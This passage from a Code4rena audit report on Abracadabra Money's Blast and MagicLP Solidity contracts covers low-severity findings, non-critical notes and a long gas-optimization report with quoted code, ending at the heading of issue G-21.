If this value is significantly smaller than the amount of USDB tokens, the calculation of claimable shares for users will be affected by rounding because the totalPoolShares are significantly smaller than the totalLocked amount.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/blast/BlastOnboardingBoot.sol#L155-L165
function _claimable(address user) internal view returns (uint256 shares) {
uint256 totalLocked = totals[MIM].locked + totals[USDB].locked;
if (totalLocked == 0) {
return 0;
}
uint256 userLocked = balances[user][MIM].locked + balances[user][USDB].locked;
return (userLocked * totalPoolShares) / totalLocked;
}This can lead to some dust staking tokens being stuck in the BlastOnboarding contract.
Please set the threshold for the locked amounts of MIM and USDB tokens.
[L-10] The minimum value check should be conducted after adjusting the reserves in the setParameters function
In MagicLP, when updating the parameters, we perform the minimum value check at the beginning of the function.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L480-L482
function setParameters(
address assetTo,
uint256 newLpFeeRate,
uint256 newI,
uint256 newK,
uint256 baseOutAmount,
uint256 quoteOutAmount,
uint256 minBaseReserve,
uint256 minQuoteReserve
) public nonReentrant onlyImplementationOwner {
if (_BASE_RESERVE_ < minBaseReserve || _QUOTE_RESERVE_ < minQuoteReserve) {
revert ErrReserveAmountNotEnough();
}
}In this function, we transfer some base and quote tokens, rendering this check redundant.
It should be conducted after reducing the reserves.
function setParameters(
address assetTo,
uint256 newLpFeeRate,
uint256 newI,
uint256 newK,
uint256 baseOutAmount,
uint256 quoteOutAmount,
uint256 minBaseReserve,
uint256 minQuoteReserve
) public nonReentrant onlyImplementationOwner {
- if (_BASE_RESERVE_ < minBaseReserve || _QUOTE_RESERVE_ < minQuoteReserve) {
- revert ErrReserveAmountNotEnough();
- }
_transferBaseOut(assetTo, baseOutAmount);
_transferQuoteOut(assetTo, quoteOutAmount);
(uint256 newBaseBalance, uint256 newQuoteBalance) = _resetTargetAndReserve();
+ if (newBaseBalance < minBaseReserve || newQuoteBalance < minQuoteReserve) {
+ revert ErrReserveAmountNotEnough();
+ }
}[NC-01] The symbols of the base and quote tokens should be included in the symbol of MagicLP
The name of MagicLP involves the names of the base and quote tokens.the
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L155-L157
function name() public view override returns (string memory) {
return string(abi.encodePacked("MagicLP ", IERC20Metadata(_BASE_TOKEN_).symbol(), "/", IERC20Metadata(_QUOTE_TOKEN_).symbol()));
}But the symbol of MagicLP remains constant.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L159-L161
function symbol() public pure override returns (string memory) {
return "MagicLP";
}It should incorporate the symbols of the base and quote tokens.
[NC-02] Users are unable to create locks due to the max locks checks in the staking contract
Only operators have the authority to clear the expired locks of users using the processExpiredLocks function.
However, even though this function should be called every reward duration, users cannot create locks when the maxLocks is set to 1(the reward duration matches the lock duration).
Users can clear their expired locks when they create a lock and have already reached the maximum lock count.
Gas Optimizations
For this audit, 10 reports were submitted by wardens detailing gas optimizations. The report highlighted below by hihen received the top score from the judge.
The following wardens also submitted reports: 0x11singh99, albahaca, dharma09, oualidpro, Sathish9098, Bozho, clara, pfapostol, and slvDev.
Summary
Total 897 instances over 53 issueswith 1164552 gas saved:
| ID | Issue | Instances | Gas |
|---|---|---|---|
| [G-01] | Constructors can be marked as payable to save deployment gas | 16 | 336 |
| [G-02] | State variables only set in their definitions should be declared constant |
10 | 20970 |
| [G-03] | Counting down in for statements is more gas efficient | 1 | - |
| [G-04] | Don’t caching global special variables | 1 | 10 |
| [G-05] | Stack variable is only used once | 15 | 45 |
| [G-06] | Do not cache state variables that are used only once | 5 | 15 |
| [G-07] | Do not calculate constants | 4 | - |
| [G-08] | Use of emit inside a loop |
4 | 1500 |
| [G-09] | Use local variables for emitting | 14 | 1400 |
| [G-10] | internal functions only called once can be inlined to save gas |
1 | 30 |
| [G-11] | Update OpenZeppelin dependency to save gas | 8 | - |
| [G-12] | Update solady dependency to save gas | 10 | - |
| [G-13] | Mappings are cheaper to use than storage arrays | 4 | 8400 |
| [G-14] | Operator >=/<= costs less gas than operator >/< |
31 | 93 |
| [G-15] | Consider pre-calculating the address of address(this) to save gas |
49 | - |
| [G-16] | Remove empty functions to save gas | 1 | - |
| [G-17] | Usage of ints/uints smaller than 32 bytes incurs overhead |
22 | 1210 |
| [G-18] | Using a double if statement instead of a logical AND(&&) |
11 | 330 |
| [G-19] | Reduce deployment costs by tweaking contracts’ metadata | 19 | - |
| [G-20] | Divisions can be unchecked to save gas | 40 | 800 |
| [G-21] | Remove unused local variables | 2 | - |
| [G-22] | Use assembly to validate msg.sender |
2 | 24 |
| [G-23] | Using assembly to check for zero can save gas | 56 | 336 |
| [G-24] | Consider using OZ EnumerateSet in place of nested mappings | 4 | 4000 |
| [G-25] | Consider using solady’s FixedPointMathLib |
33 | - |
| [G-26] | Avoid zero transfer to save gas | 30 | 3000 |
| [G-27] | Cache address(this) when used more than once | 25 | - |
| [G-28] | State variable read in a loop | 2 | 194 |
| [G-29] | State variable written in a loop | 1 | 5794 |
| [G-30] | Unlimited gas consumption risk due to external call recipients | 1 | - |
| [G-31] | Optimize names to save gas | 14 | 308 |
| [G-32] | Reduce gas usage by moving to Solidity 0.8.19 or later | 20 | - |
| [G-33] | Newer versions of solidity are more gas efficient | 20 | - |
| [G-34] | Avoid updating storage when the value hasn’t changed | 54 | 43200 |
| [G-35] | Same cast is done multiple times | 14 | - |
| [G-36] | State variables that are used multiple times in a function should be cached in stack variables | 34 | 10185 |
| [G-37] | Use solady library where possible to save gas | 8 | 8000 |
| [G-38] | Use the inputs/results of assignments rather than re-reading state variables | 27 | 2619 |
| [G-39] | Contracts can use fewer storage slots by truncating state variables | 1 | 20000 |
| [G-40] | Structs can be packed into fewer storage slots by truncating fields | 1 | 40000 |
| [G-41] | Using constants instead of enum can save gas |
2 | - |
| [G-42] | Use Array.unsafeAccess() to avoid repeated array length checks |
7 | 14700 |
| [G-43] | Assembly: Use scratch space for building calldata | 110 | 24200 |
| [G-44] | Use assembly to emit events | 48 | 1824 |
| [G-45] | Use calldata instead of memory for immutable arguments |
2 | 600 |
| [G-46] | Consider Using Solady’s Gas Optimized Lib for Math | 16 | - |
| [G-47] | do-while is cheaper than for-loops when the initial check can be skipped |
8 | - |
| [G-48] | Consider activating via-ir for deploying | 1 | - |
| [G-49] | Avoid Unnecessary Public Variables | 34 | 748000 |
| [G-50] | Optimize Deployment Size by Fine-tuning IPFS Hash | 19 | 201400 |
| [G-51] | The result of a function call should be cached rather than re-calling the function | 4 | 400 |
| [G-52] | Multiple accesses of a memory/calldata array should use a local variable cache |
16 | - |
| [G-53] | Multiple accesses of the same mapping key should be cached | 15 | 630 |
[G-01] Constructors can be marked as payable to save deployment gas
Payable functions cost less gas to execute, because the compiler does not have to add extra checks to ensure that no payment is provided. A constructor can be safely marked as payable, because only the deployer would be able to pass funds, and the project itself would not pass any funds.
There are 16 instances (click to show):
- BlastBox.sol ( 24-24 ):
24: constructor(IERC20 weth_, BlastTokenRegistry registry_, address feeTo_) DegenBox(weth_) {- BlastDapp.sol ( 7-7 ):
7: constructor() {- BlastGovernor.sol ( 15-15 ):
15: constructor(address feeTo_, address _owner) OperatableV2(_owner) {- BlastMagicLP.sol ( 23-23 ):
23: constructor(BlastTokenRegistry registry_, address feeTo_, address owner_) MagicLP(owner_) {58: constructor() Owned(msg.sender) {
84: constructor(BlastTokenRegistry registry_, address feeTo_) {- BlastTokenRegistry.sol ( 12-12 ):
12: constructor(address _owner) Owned(_owner) {}20: constructor(IWETH weth_, IFactory factory, address governor_) Router(weth_, factory) {
29: constructor(
30: address implementation_,
31: IFeeRateModel maintainerFeeRateModel_,
32: address owner_,
33: address governor_
34: ) Factory(implementation_, maintainerFeeRateModel_, owner_) {
47: constructor(address box_, address mim_, address governor_) CauldronV4(IBentoBoxV1(box_), IERC20(mim_)) {- MagicLP.sol ( 84-84 ):
84: constructor(address owner_) Owned(owner_) {- FeeRateModel.sol ( 22-22 ):
22: constructor(address maintainer_, address owner_) Owned(owner_) {- Factory.sol ( 38-38 ):
38: constructor(address implementation_, IFeeRateModel maintainerFeeRateModel_, address owner_) Owned(owner_) {- Router.sol ( 38-38 ):
38: constructor(IWETH weth_, IFactory factory_) {- MagicLpAggregator.sol ( 21-21 ):
21: constructor(IMagicLP pair_, IAggregator baseOracle_, IAggregator quoteOracle_) {- LockingMultiRewards.sol ( 112-118 ):
112: constructor(
113: address _stakingToken,
114: uint256 _lockingBoostMultiplerInBips,
115: uint256 _rewardsDuration,
116: uint256 _lockDuration,
117: address _owner
118: ) OperatableV2(_owner) {[G-02] State variables only set in their definitions should be declared constant
This can avoid a Gsset (20000 gas) on deployment (in constructor), and replaces the first access in each transaction (Gcoldsload - 2100 gas) and each access thereafter (Gwarmacces - 100 gas) with a PUSH32 (3 gas).
There are 10 instances:
30: State public state;
31: address public bootstrapper;
32: address public feeTo;
33: BlastTokenRegistry public registry;24: address public pool;
25: Router public router;
26: IFactory public factory;
27: uint256 public totalPoolShares;
28: bool public ready;
29: LockingMultiRewards public staking;[G-03] Counting down in for statements is more gas efficient
Looping downwards is more gas efficient because of how the EVM compares variables. When using a ‘for’ loop that counts down, comparing the end condition with zero is cheaper than comparing with another number. Therefore, it is recommended to restructure loops to count downwards whenever possible.
There is 1 instance:
- BlastOnboarding.sol ( 165-165 ):
165: for (uint256 i = 0; i < tokens.length; i++) {[G-04] Don’t caching global special variables
It’s better not to cache the global special variables, because it’s cheaper to use them directly.
There is 1 instance:
- Factory.sol ( 82-82 ):
82: address creator = tx.origin;[G-05] Stack variable is only used once
If the variable is only accessed once, it’s cheaper to use the assigned value directly that one time, and save the 3 gas the extra stack assignment would spend.
There are 15 instances (click to show):
/// @audit baseAmount
87: uint256 baseAmount = totals[MIM].locked;
/// @audit quoteAmount
88: uint256 quoteAmount = totals[USDB].locked;
/// @audit baseAmount
101: uint256 baseAmount = totals[MIM].locked;
/// @audit quoteAmount
102: uint256 quoteAmount = totals[USDB].locked;- MagicLP.sol ( 431-431 ):
/// @audit baseBalance
431: uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));/// @audit remainder
21: uint256 remainder = a - quotient * b;
/// @audit V0V0V1V2
62: uint256 V0V0V1V2 = DecimalMath.divFloor((V0 * V0) / V1, V2);
/// @audit penalty
63: uint256 penalty = DecimalMath.mulFloor(k, V0V0V1V2); // k(V0^2/V1/V2)
/// @audit denominator
188: uint256 denominator = (DecimalMath.ONE - k) * 2; // 2(1-k)/// @audit bal
480: Balances storage bal = _balances[user];
/// @audit totalSupply_
545: uint256 totalSupply_ = totalSupply();
/// @audit balance
558: uint256 balance = balanceOf(user);
/// @audit totalSupply_
559: uint256 totalSupply_ = totalSupply();
/// @audit totalSupply_
573: uint256 totalSupply_ = totalSupply();
/// @audit rewardItemLength
605: uint256 rewardItemLength = _rewardLock.items.length;[G-06] Do not cache state variables that are used only once
It’s cheaper to access the state variable directly if it is accessed only once. This can save some gas cost of the extra stack allocation.
There are 5 instances:
87: uint256 baseAmount = totals[MIM].locked;
88: uint256 quoteAmount = totals[USDB].locked;
101: uint256 baseAmount = totals[MIM].locked;
102: uint256 quoteAmount = totals[USDB].locked;- LockingMultiRewards.sol ( 480-480 ):
480: Balances storage bal = _balances[user];[G-07] Do not calculate constants
Due to how constant variables are implemented (replacements at compile-time), an expression assigned to a constant variable is recomputed each time that the variable is used, which wastes some gas.
There are 4 instances:
63: uint256 public constant MAX_I = 10 ** 36;
64: uint256 public constant MAX_K = 10 ** 18;20: uint256 internal constant ONE = 10 ** 18;
21: uint256 internal constant ONE2 = 10 ** 36;[G-08] Use of emit inside a loop
Emitting an event inside a loop performs a LOG op N times, where N is the loop length. Consider refactoring the code to emit the event only once at the end of loop. Gas savings should be multiplied by the average loop length.
There are 4 instances:
436: emit LogLockIndexChanged(user, lastIndex, index);
447: emit LogUnlocked(user, amount, index);
638: emit LogRewardPaid(user, rewardToken, amount);
651: emit LogRewardLocked(user, rewardToken, rewardAmount);[G-09] Use local variables for emitting
Use the function/modifier’s local copy of the state variable, rather than incurring an extra Gwarmaccess (100 gas). In the unlikely event that the state variable hasn’t already been used by the function/modifier, consider whether it is really necessary to include it in the event, given the fact that it incurs a Gcoldsload (2100 gas), or whether it can be passed in to or back out of the functions that do use it.
There are 14 instances (click to show):
/// @audit pool
/// @audit totalPoolShares
/// @audit staking
124: emit LogLiquidityBootstrapped(pool, address(staking), totalPoolShares);
/// @audit ready
148: emit LogReadyChanged(ready);/// @audit _BASE_TOKEN_
/// @audit _QUOTE_TOKEN_
264: emit Swap(address(_BASE_TOKEN_), address(_QUOTE_TOKEN_), baseInput, receiveQuoteAmount, msg.sender, to);
/// @audit _QUOTE_TOKEN_
/// @audit _BASE_TOKEN_
287: emit Swap(address(_QUOTE_TOKEN_), address(_BASE_TOKEN_), quoteInput, receiveBaseAmount, msg.sender, to);
/// @audit _QUOTE_TOKEN_
/// @audit _BASE_TOKEN_
325: emit Swap(address(_QUOTE_TOKEN_), address(_BASE_TOKEN_), quoteInput, receiveBaseAmount, msg.sender, assetTo);
/// @audit _BASE_TOKEN_
/// @audit _QUOTE_TOKEN_
347: emit Swap(address(_BASE_TOKEN_), address(_QUOTE_TOKEN_), baseInput, receiveQuoteAmount, msg.sender, assetTo);- Factory.sol ( 88-88 ):
/// @audit maintainerFeeRateModel
88: emit LogCreated(clone, baseToken_, quoteToken_, creator, lpFeeRate_, maintainerFeeRateModel, i_, k_);- LockingMultiRewards.sol ( 318-318 ):
/// @audit minLockAmount
318: emit LogSetMinLockAmount(minLockAmount, _minLockAmount);[G-10] internal functions only called once can be inlined to save gas
If an internal function is only used once, there is no need to modularize it, unless the function calling it would otherwise be too long and complex. Not inlining costs 20 to 40 gas because of two extra JUMP instructions and additional stack operations needed for function calls.
There is 1 instance:
- LockingMultiRewards.sol ( 544-544 ):
544: function _updateRewards() internal {[G-11] Update OpenZeppelin dependency to save gas
Every release contains new gas optimizations. Use the latest version to take advantage of this.
The imported version is 4.9.2.
There are 8 instances (click to show):
7: import {Proxy} from "openzeppelin-contracts/proxy/Proxy.sol";
10: import {Pausable} from "openzeppelin-contracts/security/Pausable.sol";- BlastYields.sol ( 5 ):
5: import {Address} from "openzeppelin-contracts/utils/Address.sol";- MagicLP.sol ( 11 ):
11: import {IERC20Metadata} from "openzeppelin-contracts/interfaces/IERC20Metadata.sol";5: import {IERC20} from "openzeppelin-contracts/interfaces/IERC20.sol";
10: import {IERC20Metadata} from "openzeppelin-contracts/interfaces/IERC20Metadata.sol";- MagicLpAggregator.sol ( 5 ):
5: import {IERC20Metadata} from "openzeppelin-contracts/interfaces/IERC20Metadata.sol";- LockingMultiRewards.sol ( 5 ):
5: import {Pausable} from "openzeppelin-contracts/security/Pausable.sol";[G-12] Update solady dependency to save gas
Every release contains new gas optimizations. Use the latest version to take advantage of this.
The imported version is 0.0.168.
There are 10 instances (click to show):
- BlastOnboarding.sol ( 8 ):
8: import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";- BlastOnboardingBoot.sol ( 9 ):
9: import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";12: import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";
13: import {ReentrancyGuard} from "solady/utils/ReentrancyGuard.sol";
14: import {ERC20} from "solady/tokens/ERC20.sol";
15: import {SafeCastLib} from "solady/utils/SafeCastLib.sol";- Factory.sol ( 5 ):
5: import {LibClone} from "solady/utils/LibClone.sol";- Router.sol ( 4 ):
4: import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";- MagicLpAggregator.sol ( 4 ):
4: import {FixedPointMathLib} from "solady/utils/FixedPointMathLib.sol";- LockingMultiRewards.sol ( 6 ):
6: import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";[G-13] Mappings are cheaper to use than storage arrays
When using storage arrays, solidity adds an internal lookup of the array’s length (a Gcoldsload 2100 gas) to ensure you don’t read past the array’s end. You can avoid this lookup by using a mapping and storing the number of entries in a separate storage variable. In cases where you have sentinel values (e.g. ‘zero’ means invalid), you can avoid length checks.
There are 4 instances:
35: mapping(address base => mapping(address quote => address[] pools)) public pools;
36: mapping(address creator => address[] pools) public userPools;91: mapping(address user => LockedBalance[] locks) private _userLocks;
98: address[] public rewardTokens;[G-14] Operator >=/<= costs less gas than operator >/<
The compiler uses opcodes GT and ISZERO for code that uses >, but only requires LT for >=. A similar behavior applies for >, which uses opcodes LT and ISZERO, but only requires GT for <=. It can save 3 gas for each.
It should be converted to the <=/>= equivalent when comparing against integer literals. In cases where a for-loop is being used, one can count down rather than up, in order to use the optimal operator.
There are 31 instances (click to show):
- BlastOnboarding.sol ( 114-114 ):
114: if (caps[token] > 0 && totals[token].total > caps[token]) {- MagicLP.sol ( 108-108, 111-111, 114-114, 114-114, 294-294, 395-395, 395-395, 450-450, 483-483, 486-486, 489-489, 489-489, 508-508, 508-508, 532-532, 532-532, 549-549, 582-582, 588-588 ):
108: if (i == 0 || i > MAX_I) {
111: if (k > MAX_K) {
114: if (lpFeeRate < MIN_LP_FEE_RATE || lpFeeRate > MAX_LP_FEE_RATE) {
114: if (lpFeeRate < MIN_LP_FEE_RATE || lpFeeRate > MAX_LP_FEE_RATE) {
294: if (data.length > 0) {
395: } else if (baseReserve > 0 && quoteReserve > 0) {
395: } else if (baseReserve > 0 && quoteReserve > 0) {
450: if (data.length > 0) {
483: if (newI == 0 || newI > MAX_I) {
486: if (newK > MAX_K) {
489: if (newLpFeeRate < MIN_LP_FEE_RATE || newLpFeeRate > MAX_LP_FEE_RATE) {
489: if (newLpFeeRate < MIN_LP_FEE_RATE || newLpFeeRate > MAX_LP_FEE_RATE) {
508: if (baseBalance > type(uint112).max || quoteBalance > type(uint112).max) {
508: if (baseBalance > type(uint112).max || quoteBalance > type(uint112).max) {
532: if (baseBalance > type(uint112).max || quoteBalance > type(uint112).max) {
532: if (baseBalance > type(uint112).max || quoteBalance > type(uint112).max) {
549: if (timeElapsed > 0 && _BASE_RESERVE_ != 0 && _QUOTE_RESERVE_ != 0) {
582: if (amount > 0) {
588: if (amount > 0) {- Math.sol ( 22-22 ):
22: if (remainder > 0) {147: } else if (baseReserve > 0 && quoteReserve > 0) {
147: } else if (baseReserve > 0 && quoteReserve > 0) {
527: if (quoteReserve > 0 && baseReserve > 0) {
527: if (quoteReserve > 0 && baseReserve > 0) {
590: if (pathLength > 256) {
602: if (quoteDecimals - baseDecimals > MAX_BASE_QUOTE_DECIMALS_DIFFERENCE) {123: if (_lockDuration < MIN_LOCK_DURATION) {
127: if (_rewardsDuration < MIN_REWARDS_DURATION) {
417: if (index == lastLockIndex[user] && locks.length > 1) {
636: if (amount > 0) {[G-15] Consider pre-calculating the address of address(this) to save gas
Use foundry’s script.sol or solady’s LibRlp.sol to save the value in a constant, which will avoid having to spend gas to push the value on the stack every time it’s used.
There are 49 instances (click to show):
- BlastBox.sol ( 99-99 ):
99: BlastYields.configureDefaultClaimables(address(this));- BlastGovernor.sol ( 21-21 ):
21: BlastYields.configureDefaultClaimables(address(this));- BlastMagicLP.sol ( 99-99 ):
99: BlastYields.configureDefaultClaimables(address(this));59: BlastYields.configureDefaultClaimables(address(this));
102: token.safeTransferFrom(msg.sender, address(this), amount);106: (pool, totalPoolShares) = router.createPool(MIM, USDB, FEE_RATE, I, K, address(this), baseAmount, quoteAmount);
117: staking = new LockingMultiRewards(pool, 30_000, 7 days, 13 weeks, address(this));
118: staking.setOperator(address(this), true);51: if (governor_ == address(this)) {
60: if (_governor == address(this)) {21: if (IERC20Rebasing(token).getConfiguration(address(this)) == YieldMode.CLAIMABLE) {
26: emit LogBlastTokenClaimableEnabled(address(this), token);
31: emit LogBlastNativeClaimableEnabled(address(this));
39: return claimMaxGasYields(address(this), recipient);
52: return claimAllNativeYields(address(this), recipient);
71: amount = IERC20Rebasing(token).claim(recipient, IERC20Rebasing(token).getClaimableAmount(address(this)));- MagicLP.sol ( 229-229, 233-233, 245-245, 262-262, 268-268, 285-285, 298-298, 299-299, 361-361, 362-362, 427-427, 431-431, 432-432, 505-505, 506-506, 529-529, 530-530, 568-568, 569-569, 615-615, 622-622 ):
229: return _BASE_TOKEN_.balanceOf(address(this)) - uint256(_BASE_RESERVE_);
233: return _QUOTE_TOKEN_.balanceOf(address(this)) - uint256(_QUOTE_RESERVE_);
245: uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
262: _setReserve(baseBalance, _QUOTE_TOKEN_.balanceOf(address(this)));
268: uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
285: _setReserve(_BASE_TOKEN_.balanceOf(address(this)), quoteBalance);
298: uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
299: uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
361: uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
362: uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
427: if (to == address(this)) {
431: uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
432: uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
505: uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
506: uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
529: baseBalance = _BASE_TOKEN_.balanceOf(address(this));
530: quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
568: uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
569: uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
615: if (address(this) == address(implementation)) {
622: if (address(this) != address(implementation)) {- Factory.sol ( 77-77 ):
77: address(this)92: address(weth).safeTransferFrom(address(this), clone, msg.value);
269: lp.safeTransferFrom(msg.sender, address(this), sharesIn);
282: lp.safeTransferFrom(msg.sender, address(this), sharesIn);
289: address(this),
298: address(this),
398: amountOut = _swap(address(this), path, directions, minimumOut);
444: amountOut = _sellBase(lp, address(this), minimumOut);
490: amountOut = _sellQuote(lp, address(this), minimumOut);326: if (tokenAddress == stakingToken && tokenAmount > stakingToken.balanceOf(address(this)) - stakingTokenBalance) {
367: rewardToken.safeTransferFrom(msg.sender, address(this), amount);
464: stakingToken.safeTransferFrom(msg.sender, address(this), amount);[G-16] Remove empty functions to save gas
Empty function body in solidity is not recommended, remove it can save gas.
There is 1 instance:
- MagicLP.sol ( 601 ):
601: function _afterInitialized() internal virtual {}[G-17] Usage of ints/uints smaller than 32 bytes incurs overhead
Using ints/uints smaller than 32 bytes may cost more gas. This is because the EVM operates on 32 bytes at a time, so if an element is smaller than 32 bytes, the EVM must perform more operations to reduce the size of the element from 32 bytes to the desired size.
There are 22 instances (click to show):
/// @audit uint112
72: uint112 public _BASE_RESERVE_;
/// @audit uint112
73: uint112 public _QUOTE_RESERVE_;
/// @audit uint32
74: uint32 public _BLOCK_TIMESTAMP_LAST_;
/// @audit uint112
76: uint112 public _BASE_TARGET_;
/// @audit uint112
77: uint112 public _QUOTE_TARGET_;
/// @audit uint32
78: uint32 public _RState_;
/// @audit uint256
80: uint256 public _LP_FEE_RATE_;
/// @audit uint8
163: function decimals() public view override returns (uint8) {
/// @audit uint32
546: uint32 blockTimestamp = uint32(block.timestamp % 2 ** 32);
/// @audit uint32
547: uint32 timeElapsed = blockTimestamp - _BLOCK_TIMESTAMP_LAST_;/// @audit uint8
598: function _validateDecimals(uint8 baseDecimals, uint8 quoteDecimals) internal pure {
/// @audit uint8
598: function _validateDecimals(uint8 baseDecimals, uint8 quoteDecimals) internal pure {/// @audit uint8
13: uint8 public immutable baseDecimals;
/// @audit uint8
14: uint8 public immutable quoteDecimals;
/// @audit uint8
29: function decimals() external pure override returns (uint8) {
/// @audit uint80
48: function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
/// @audit uint80
48: function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {/// @audit uint256
51: uint256 periodFinish;
/// @audit uint256
52: uint256 rewardRate;
/// @audit uint248
55: uint248 lastUpdateTime;
/// @audit uint256
65: uint256 unlockTime;
/// @audit uint256
75: uint256 unlockTime;[G-18] Using a double if statement instead of a logical AND(&&)
Using a double if statement instead of a logical AND (&&) can provide similar short-circuiting behavior whereas double if is slightly more gas efficient.
There are 11 instances (click to show):
- BlastMagicLP.sol ( 119-119 ):
119: if (!BlastMagicLP(address(implementation)).operators(msg.sender) && msg.sender != implementation.owner()) {- BlastOnboarding.sol ( 114-114 ):
114: if (caps[token] > 0 && totals[token].total > caps[token]) {139: if (_RState_ == uint32(PMMPricing.RState.BELOW_ONE) && _BASE_RESERVE_ < _BASE_TARGET_) {
144: if (_RState_ == uint32(PMMPricing.RState.ABOVE_ONE) && _QUOTE_RESERVE_ < _QUOTE_TARGET_) {
302: if (baseBalance < _BASE_RESERVE_ && quoteBalance < _QUOTE_RESERVE_) {
395: } else if (baseReserve > 0 && quoteReserve > 0) {
549: if (timeElapsed > 0 && _BASE_RESERVE_ != 0 && _QUOTE_RESERVE_ != 0) {147: } else if (baseReserve > 0 && quoteReserve > 0) {
527: if (quoteReserve > 0 && baseReserve > 0) {326: if (tokenAddress == stakingToken && tokenAmount > stakingToken.balanceOf(address(this)) - stakingTokenBalance) {
417: if (index == lastLockIndex[user] && locks.length > 1) {[G-19] Reduce deployment costs by tweaking contracts’ metadata
See this link, at its bottom, for full details.
There are 19 instances (click to show):
- BlastBox.sol ( 13 ):
13: contract BlastBox is DegenBox, OperatableV3 {- BlastDapp.sol ( 6 ):
6: contract BlastDapp {- BlastGovernor.sol ( 7 ):
7: contract BlastGovernor is OperatableV2 {- BlastMagicLP.sol ( 10 ):
10: contract BlastMagicLP is MagicLP {12: contract BlastOnboardingData is Owned, Pausable {
64: contract BlastOnboarding is BlastOnboardingData, Proxy {23: contract BlastOnboardingBootDataV1 is BlastOnboardingData {
34: contract BlastOnboardingBoot is BlastOnboardingBootDataV1 {- BlastTokenRegistry.sol ( 6 ):
6: contract BlastTokenRegistry is Owned {19: contract BlastMIMSwapRouter is Router {
28: contract BlastMIMSwapFactory is Factory {
42: contract BlastCauldronV4 is CauldronV4 {- MagicLP.sol ( 25 ):
25: contract MagicLP is ERC20, ReentrancyGuard, Owned {- FeeRateModel.sol ( 13 ):
13: contract FeeRateModel is Owned {- FeeRateModelImpl.sol ( 7 ):
7: contract FeeRateModelImpl {- Factory.sol ( 11 ):
11: contract Factory is Owned {- Router.sol ( 12 ):
12: contract Router {- MagicLpAggregator.sol ( 9 ):
9: contract MagicLpAggregator is IAggregator {- LockingMultiRewards.sol ( 14 ):
14: contract LockingMultiRewards is OperatableV2, Pausable {[G-20] Divisions can be unchecked to save gas
The expression type(int).min/(-1) is the only case where division causes an overflow. Therefore, uncheck can be used to save gas in scenarios where it is certain that such an overflow will not occur.
There are 40 instances (click to show):
- BlastOnboardingBoot.sol ( 163-163 ):
163: return (userLocked * totalPoolShares) / totalLocked;435: baseAmount = (baseBalance * shareAmount) / totalShares;
436: quoteAmount = (quoteBalance * shareAmount) / totalShares;
513: _BASE_TARGET_ = uint112((uint256(_BASE_TARGET_) * baseBalance) / uint256(_BASE_RESERVE_));
517: _QUOTE_TARGET_ = uint112((uint256(_QUOTE_TARGET_) * quoteBalance) / uint256(_QUOTE_RESERVE_));24: return (target * d) / ONE;
32: return (target * ONE) / d;
40: return ONE2 / target;
53: uint p = powFloor(target, e / 2);
54: p = (p * p) / ONE;
56: p = (p * target) / ONE;- Math.sol ( 20-20, 30-30, 34-34, 34-34, 59-59, 62-62, 64-64, 96-96, 97-97, 99-99, 155-155, 156-156, 158-158, 158-158, 160-160, 170-170, 181-181 ):
20: uint256 quotient = a / b;
30: uint256 z = x / 2 + 1;
34: z = (x / z + z) / 2;
34: z = (x / z + z) / 2;
59: return fairAmount / DecimalMath.ONE;
62: uint256 V0V0V1V2 = DecimalMath.divFloor((V0 * V0) / V1, V2);
64: return (((DecimalMath.ONE - k) + penalty) * fairAmount) / DecimalMath.ONE2;
96: } else if ((ki * delta) / ki == delta) {
97: _sqrt = sqrt(((ki * delta) / V1) + DecimalMath.ONE2);
99: _sqrt = sqrt(((ki / V1) * delta) + DecimalMath.ONE2);
155: } else if ((idelta * V1) / idelta == V1) {
156: temp = (idelta * V1) / (V0 * V0);
158: temp = (((delta * V1) / V0) * i) / V0;
158: temp = (((delta * V1) / V0) * i) / V0;
160: return (V1 * temp) / (temp + DecimalMath.ONE);
170: uint256 part2 = (((k * V0) / V1) * V0) + (i * delta); // kQ0^2/Q1-i*deltaB
181: bAbs = bAbs / DecimalMath.ONE;205: uint256 R = DecimalMath.divFloor((state.Q0 * state.Q0) / state.Q, state.Q);
209: uint256 R = DecimalMath.divFloor((state.B0 * state.B0) / state.B, state.B);257: baseAmountOut = (baseBalance * sharesIn) / totalShares;
258: quoteAmountOut = (quoteBalance * sharesIn) / totalShares;- MagicLpAggregator.sol ( 45-45 ):
45: return int256(minAnswer * (baseReserve + quoteReserve) / pair.totalSupply());144: maxLocks = _lockDuration / _rewardsDuration;
236: return unlockedSupply + ((lockedSupply * lockingBoostMultiplerInBips) / BIPS);
241: return bal.unlocked + ((bal.locked * lockingBoostMultiplerInBips) / BIPS);
258: return (block.timestamp / rewardsDuration) * rewardsDuration;
283: uint256 pendingRewardsPerToken = (timeElapsed * _rewardData[rewardToken].rewardRate * 1e18) / totalSupply_;
294: return ((balance_ * pendingUserRewardsPerToken) / 1e18) + rewards[user][rewardToken];
388: reward.rewardRate = amount / _remainingRewardTime;[G-21] Remove unused local variables
